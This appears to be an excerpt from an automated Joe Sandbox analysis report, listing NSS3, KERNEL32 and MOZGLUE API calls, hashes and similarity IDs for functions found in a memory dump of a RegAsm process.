Part of subcall function 6CEB8500: SECOID_GetAlgorithmTag_Util.NSS3(6CEB95DC,00000000,00000000,00000000,?,6CEB95DC,00000000,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0CC4

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEE0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEE0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEE0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEE0D7D
free.MOZGLUE(00000000), ref: 6CEE0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0DC1
free.MOZGLUE(00000000), ref: 6CEE0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEE0E0F

Part of subcall function 6CEB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB95E0
Part of subcall function 6CEB95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEB95F5
Part of subcall function 6CEB95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEB9609
Part of subcall function 6CEB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB961D
Part of subcall function 6CEB95C0: PK11_GetInternalSlot.NSS3 ref: 6CEB970B
Part of subcall function 6CEB95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEB9756
Part of subcall function 6CEB95C0: PK11_GetIVLength.NSS3(?), ref: 6CEB9767
Part of subcall function 6CEB95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CEB977E
Part of subcall function 6CEB95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB978E

Strings

*,l, xrefs: 6CEE0C69, 6CEE0DE0, 6CEE0C80, 6CEE0C8B, 6CEE0CAF
*,l, xrefs: 6CEE0DCC
-$l, xrefs: 6CEE0C64

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 6bfef69b4d5d732416abc55661ebcb0df570fbd48f1b9219ac8f48af2eb14db8
Instruction ID: 2b76013b10f47f2dda46a688b37010ebc1f003cb5d49bf835b5c699d4fc6020a
Opcode Fuzzy Hash: 6bfef69b4d5d732416abc55661ebcb0df570fbd48f1b9219ac8f48af2eb14db8
Instruction Fuzzy Hash: EC41D2B5E00246AFEB009F65DC85BAF7678EF0534CF240028E9156B741EB35EA15CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6CED6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFA1DE0,?), ref: 6CED6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CED6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CED6D82
DER_GetInteger_Util.NSS3(?), ref: 6CED6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CED6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CED6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CED6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CED6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CED6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CED7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CED7033
free.MOZGLUE(?), ref: 6CED703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CED7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CED7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CED70AF

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ef0d604f4538d56b8b3353165a612668a02d31997e1370e9a14620fefd90cfae
Instruction ID: 7ac9d4870a1a1ae4e58db13247e8171929eda4dd1745470ec9a1d0e3b5e1ed85
Opcode Fuzzy Hash: ef0d604f4538d56b8b3353165a612668a02d31997e1370e9a14620fefd90cfae
Instruction Fuzzy Hash: 16A1D3719142019BEB009F24DC46B6A32B8DB8230CF368D39E959CBB91E775F9478793

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF39
PR_Unlock.NSS3(?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9AF69
TlsGetValue.KERNEL32 ref: 6CE9B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE9B083
PR_Unlock.NSS3(?), ref: 6CE9B0A4
TlsGetValue.KERNEL32 ref: 6CE9B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE9B0D9
PR_Unlock.NSS3 ref: 6CE9B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9B182

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE9B177

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE7AB95,00000000,?,00000000,00000000,00000000), ref: 6CE9B1C2

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,?,6CE90844,?), ref: 6CEC157A
Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(?,?,?,6CE90844,?), ref: 6CEC158F
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?,?,?,?,6CE90844,?), ref: 6CEC15B2

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 9b3c3775aa79d594f797f52923eeed5b6a201ac0228dc16345c547bba4a9e64c
Instruction ID: 0b3d255dce1b93fc2e9d7fa24be95b796b5ba603e6fe098eb970285f4669c13c
Opcode Fuzzy Hash: 9b3c3775aa79d594f797f52923eeed5b6a201ac0228dc16345c547bba4a9e64c
Instruction Fuzzy Hash: E9A1A0B6E002059BEF009F64DC45BEAB7B4EF0530CF244129E909A7751E731E999CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE92C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92C93

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23,?), ref: 6CE92CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?,?,6CE93F23), ref: 6CE92CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?), ref: 6CE92CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE8E477,?,?,?,00000001,00000000,?), ref: 6CE92D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE92D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE92D71
PR_Unlock.NSS3(?), ref: 6CE92D7E

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

#?l, xrefs: 6CE92C43

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 8ee4cf20fb281e1aa36fe7ee269d2fbfbafb44cd30bb4c765a79674c313cdf11
Instruction ID: a3002c9e565cbb6b96ba129dbd50c13d6aead9141f0ad00d26a9472ed462bf7e
Opcode Fuzzy Hash: 8ee4cf20fb281e1aa36fe7ee269d2fbfbafb44cd30bb4c765a79674c313cdf11
Instruction Fuzzy Hash: AF5116B6E10604ABDF009F24DC859AAB778FF1635CB248524EC1997B11E731ED64C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEEAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEADB1

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEEADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEEAE08

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEAE25
PL_FreeArenaPool.NSS3 ref: 6CEEAE63
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEEAE4D

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEAE93
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEEAECC
PL_FreeArenaPool.NSS3 ref: 6CEEAEDE
PL_FinishArenaPool.NSS3 ref: 6CEEAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEAEF5
PL_FinishArenaPool.NSS3 ref: 6CEEAF16

Strings

security, xrefs: 6CEEADEE

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: a58f4fae33b8025d83b45e78ad4439abea6be3b4c29bffe6442c6be7379ed30c
Instruction ID: da084c4bf01b153159ed5e62a09df01acbd034cf0279632f9b3b18398f0d9562
Opcode Fuzzy Hash: a58f4fae33b8025d83b45e78ad4439abea6be3b4c29bffe6442c6be7379ed30c
Instruction Fuzzy Hash: 14412AB198421067E7204B24DC45BAA36B8AF4A35CF31052EE81496F51F735A989C7D3

Uniqueness

Uniqueness Score: -1.00%

Function 6CE88DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE88E22
EnterCriticalSection.KERNEL32(?), ref: 6CE88E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE88E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE88E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE88EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE88EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE88EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F00
free.MOZGLUE(?), ref: 6CE88F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE88F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F5B
PR_Unlock.NSS3(?), ref: 6CE88F72
PR_Unlock.NSS3(?), ref: 6CE88F82

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: de5b9371afb9b85cf36bcaaaf633d9dd8ef07c5e0067c0349ebd62b89bd567a9
Instruction ID: f5a59f2f04fb9f494647257d8affc959b0dafb51fd3a5c10335f100b04c4e034
Opcode Fuzzy Hash: de5b9371afb9b85cf36bcaaaf633d9dd8ef07c5e0067c0349ebd62b89bd567a9
Instruction Fuzzy Hash: D15127B2E022159FEB209F68CC8596EB7B9EF45358F25412AEC1C9B700E731ED4587E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CEACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CEACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CEACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CEACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CEACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CEACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CEACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CEACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CEACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CEACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CEACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CEAD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CEAD021

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: fe84624fe320c45963a3024d4892c23e0eab66a302a0fb59e9385602cb62b0bd
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 693143757529102BEF0E10975D61BDE246A8B7530EF54103CFD1AFD7C0FA85971702A6

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CEBEE0B

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBEEE1

Part of subcall function 6CEB1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CEB1D7E
Part of subcall function 6CEB1D50: EnterCriticalSection.KERNEL32(?), ref: 6CEB1D8E
Part of subcall function 6CEB1D50: PR_Unlock.NSS3(?), ref: 6CEB1DD3

TlsGetValue.KERNEL32 ref: 6CEBEE51
EnterCriticalSection.KERNEL32(?), ref: 6CEBEE65
PR_Unlock.NSS3(?), ref: 6CEBEEA2
free.MOZGLUE(?), ref: 6CEBEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CEBEED0
PR_Unlock.NSS3(?), ref: 6CEBEF48
free.MOZGLUE(?), ref: 6CEBEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CEBEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CEBEFA4
free.MOZGLUE(?), ref: 6CEBEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEBF055
free.MOZGLUE(?), ref: 6CEBF060

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 784a3f03ab681aa5b7375584a83c4a52b906d09a9342d446a7c255cac431b2f6
Instruction ID: f97078a2e28e807f21f90903a5c9580f1feb7bd3ac37d5439cb8a0dc504856f6
Opcode Fuzzy Hash: 784a3f03ab681aa5b7375584a83c4a52b906d09a9342d446a7c255cac431b2f6
Instruction Fuzzy Hash: 61815F75E00205ABDB009FA5DD85BEE7BB5BF09318F244068F909B7B11E735E924CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE84CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE84D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE84D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE84DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE84E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE84E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE84E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE84E85
DER_Encode_Util.NSS3(?,?,6CFD05A4,00000000), ref: 6CE84EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE84F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE84F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE84F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE84F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE84F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE84FC8

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: d015d7ea5b95e9177ff2bcb15858abee7e8499e1d1883e3a7824ecdd16d1057e
Instruction ID: d6ef00a6f9ccd5c612a6c9beb1d5df4f2fc7be1c5ef0ae876e3a194228984319
Opcode Fuzzy Hash: d015d7ea5b95e9177ff2bcb15858abee7e8499e1d1883e3a7824ecdd16d1057e
Instruction Fuzzy Hash: 5981AD71A09301AFE701CF68D851B5AB7F8EB85308F25892EF95CDB740E731E9058B92

Uniqueness

Uniqueness Score: -1.00%

Function 6CDAD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDAD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDAD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDAD52A
GetCurrentThreadId.KERNEL32 ref: 6CDAD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDAD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDAD55F
free.MOZGLUE(00000000), ref: 6CDAD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CDAD5D3
GetCurrentThreadId.KERNEL32 ref: 6CDAD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDAD605
